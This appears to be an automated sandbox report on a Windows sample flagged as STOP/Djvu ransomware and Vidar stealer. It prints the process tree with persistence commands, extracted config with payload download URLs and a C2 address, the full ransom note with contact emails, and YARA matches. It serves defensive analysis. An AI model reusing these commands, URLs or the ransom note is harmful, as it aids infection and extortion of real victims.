Edit tour

Windows Analysis Report
lzShU2RYJa.exe

Overview

General Information

Sample name:	lzShU2RYJa.exe renamed because original name is a hash value
Original sample name:	106c2cfb1162fc8fe3cef0958474f1c3.exe
Analysis ID:	1431267
MD5:	106c2cfb1162fc8fe3cef0958474f1c3
SHA1:	c63e3e70248ac3dbd45cd2a6d51a55e9747fd6e4
SHA256:	0e40646d6311552a7f6e7a386a06421d97de655f65b099e455cf22db10afd746
Tags:	exeTeamBot
Infos:

Detection

Babuk, Clipboard Hijacker, Djvu, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Found ransom note / readme

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected AntiVM3

Yara detected Babuk Ransomware

Yara detected Clipboard Hijacker

Yara detected Djvu Ransomware

Yara detected Vidar stealer

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Infects executable files (exe, dll, sys, html)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies existing user documents (likely ransomware behavior)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Uses schtasks.exe or at.exe to add and modify task schedules

Writes a notice file (html or txt) to demand a ransom

Writes many files with high entropy

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops certificate files (DER)

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after checking a module file name)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses cacls to modify the permissions of files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

lzShU2RYJa.exe (PID: 7328 cmdline: "C:\Users\user\Desktop\lzShU2RYJa.exe" MD5: 106C2CFB1162FC8FE3CEF0958474F1C3)

lzShU2RYJa.exe (PID: 7344 cmdline: "C:\Users\user\Desktop\lzShU2RYJa.exe" MD5: 106C2CFB1162FC8FE3CEF0958474F1C3)

icacls.exe (PID: 7420 cmdline: icacls "C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6" /deny *S-1-1-0:(OI)(CI)(DE,DC) MD5: 2E49585E4E08565F52090B144062F97E)

lzShU2RYJa.exe (PID: 7448 cmdline: "C:\Users\user\Desktop\lzShU2RYJa.exe" --Admin IsNotAutoStart IsNotTask MD5: 106C2CFB1162FC8FE3CEF0958474F1C3)

lzShU2RYJa.exe (PID: 7464 cmdline: "C:\Users\user\Desktop\lzShU2RYJa.exe" --Admin IsNotAutoStart IsNotTask MD5: 106C2CFB1162FC8FE3CEF0958474F1C3)

build2.exe (PID: 7648 cmdline: "C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe" MD5: A04031208441077A014F42095FF86107)

build2.exe (PID: 7664 cmdline: "C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe" MD5: A04031208441077A014F42095FF86107)

build3.exe (PID: 7956 cmdline: "C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe" MD5: 41B883A061C95E9B9CB17D4CA50DE770)

build3.exe (PID: 8152 cmdline: "C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe" MD5: 41B883A061C95E9B9CB17D4CA50DE770)

schtasks.exe (PID: 8168 cmdline: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 8176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

lzShU2RYJa.exe (PID: 7472 cmdline: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe --Task MD5: 106C2CFB1162FC8FE3CEF0958474F1C3)

lzShU2RYJa.exe (PID: 7540 cmdline: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe --Task MD5: 106C2CFB1162FC8FE3CEF0958474F1C3)

lzShU2RYJa.exe (PID: 7780 cmdline: "C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe" --AutoStart MD5: 106C2CFB1162FC8FE3CEF0958474F1C3)

lzShU2RYJa.exe (PID: 7832 cmdline: "C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe" --AutoStart MD5: 106C2CFB1162FC8FE3CEF0958474F1C3)

mstsca.exe (PID: 4420 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 3668 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

schtasks.exe (PID: 2228 cmdline: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

lzShU2RYJa.exe (PID: 7320 cmdline: "C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe" --AutoStart MD5: 106C2CFB1162FC8FE3CEF0958474F1C3)

lzShU2RYJa.exe (PID: 7432 cmdline: "C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe" --AutoStart MD5: 106C2CFB1162FC8FE3CEF0958474F1C3)

mstsca.exe (PID: 5328 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 7772 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 6416 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 1236 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 5740 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 7340 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Babuk	Babuk Ransomware is a sophisticated ransomware compiled for several platforms. Windows and ARM for Linux are the most used compiled versions, but ESX and a 32bit old PE executable were observed over time. as well It uses an Elliptic Curve Algorithm (Montgomery Algorithm) to build the encryption keys.	No Attribution	http://chuongdong.com/reverse%20engineering/2021/01/03/BabukRansomware/ https://blog.cyble.com/2022/05/06/rebranded-babuk-ransomware-in-action-darkangels-ransomware-performs-targeted-attack/ https://blog.morphisec.com/babuk-ransomware-variant-major-attack https://blog.talosintelligence.com/2021/11/babuk-exploits-exchange.html https://chuongdong.com/reverse%20engineering/2021/01/16/BabukRansomware-v3/	https://malpedia.caad.fkie.fraunhofer.de/details/win.babuk

Name	Description	Attribution	Blogpost URLs	Link
STOP, Djvu	STOP Djvu Ransomware it is a ransomware which encrypts user data through AES-256 and adds one of the dozen available extensions as marker to the encrypted file's name. It is not used to encrypt the entire file but only the first 5 MB. In its original version it was able to run offline and, in that case, it used a hard-coded key which could be extracted to decrypt files.	No Attribution	https://angle.ankura.com/post/102het9/the-stop-ransomware-variant https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/ https://cybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/	https://malpedia.caad.fkie.fraunhofer.de/details/win.stop

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199673019888"]}

Threatname: Djvu

{"Download URLs": ["http://sdfjhuz.com/dl/build2.exe", "http://cajgtus.com/files/1/build3.exe"], "C2 url": "http://cajgtus.com/test2/get.php", "Ransom note file": "_README.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nDo not ask assistants from youtube and recovery data sites for help in recovering your data.\r\nThey can use your free decryption quota and scam you.\r\nOur contact is emails in this text document only.\r\nYou can get and look video overview decrypt tool:\r\nhttps://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27\r\nPrice of private key and decrypt software is $999.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $499.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshingmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelpyou@airmail.cc\r\n\r\nYour personal ID:\r\n0864PsawqS", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\PerfLogs\\", "F:\\ProgramData\\Desktop\\", "F:\\ProgramData\\Microsoft\\", "F:\\Users\\Public\\", "F:\\$Recycle.Bin\\", "F:\\$WINDOWS.~BT\\", "F:\\dell\\", "F:\\Intel\\"], "Public Key": "-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw0Ftq9GtunuzQZHGiqoG\\\\n8S4cMO\\/Bdgsd+jTtFbVs1bX4OXiYKnMXg4LclKMEHJ2gnP2X09BkzA29UJQlagak\\\\nuAL7j7iRagKeU4tAB8w9rziBYoa9zROqer7J6pf5B11vAvvRq4b3127kAxnMhpgo\\\\ns7MQC7pXIvTkEeGySeG+F5fjSMPUoF1\\/cAg6GuSWOPXoPvXKRA\\/mo+xyHVOKZe2+\\\\nSCpbMHAyMe7o4w\\/i\\/pVjv9g8pRDJtz14qtMuAR38ek+SPJ4PJCxA9e0tOi+p4yNn\\\\nvnFKoL5OwzoF+bvVHnTA7tk4fXB3AyaL9llS0kxEWS7x\\/kNYQyJPh9fimryM03Cy\\\\n1wIDAQAB\\\\n-----END PUBLIC KEY-----"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000001D.00000002.3044271197.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0000001D.00000002.3044271197.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000001D.00000002.3044271197.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000003.00000002.1672801974.0000000005E00000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000003.00000002.1672801974.0000000005E00000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000003.00000002.1672708440.00000000043EE000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000A.00000002.1811694800.0000000004498000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000001F.00000002.3649759397.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0000001F.00000002.3649759397.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000001F.00000002.3649759397.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000010.00000002.1908589988.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
00000010.00000002.1908589988.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000010.00000002.1908589988.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000006.00000002.4097772693.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000006.00000002.4097772693.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000006.00000002.4097772693.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000001E.00000002.3650596278.0000000000920000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x709c:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000001C.00000002.3045202111.0000000000A70000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0000001C.00000002.3045202111.0000000000A70000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x27a3:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000001C.00000002.3045202111.0000000000A70000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x249a:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x2527:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x2527:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x284d:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x28d5:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000014.00000002.4097695967.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
00000014.00000002.4097695967.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000014.00000002.4097695967.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
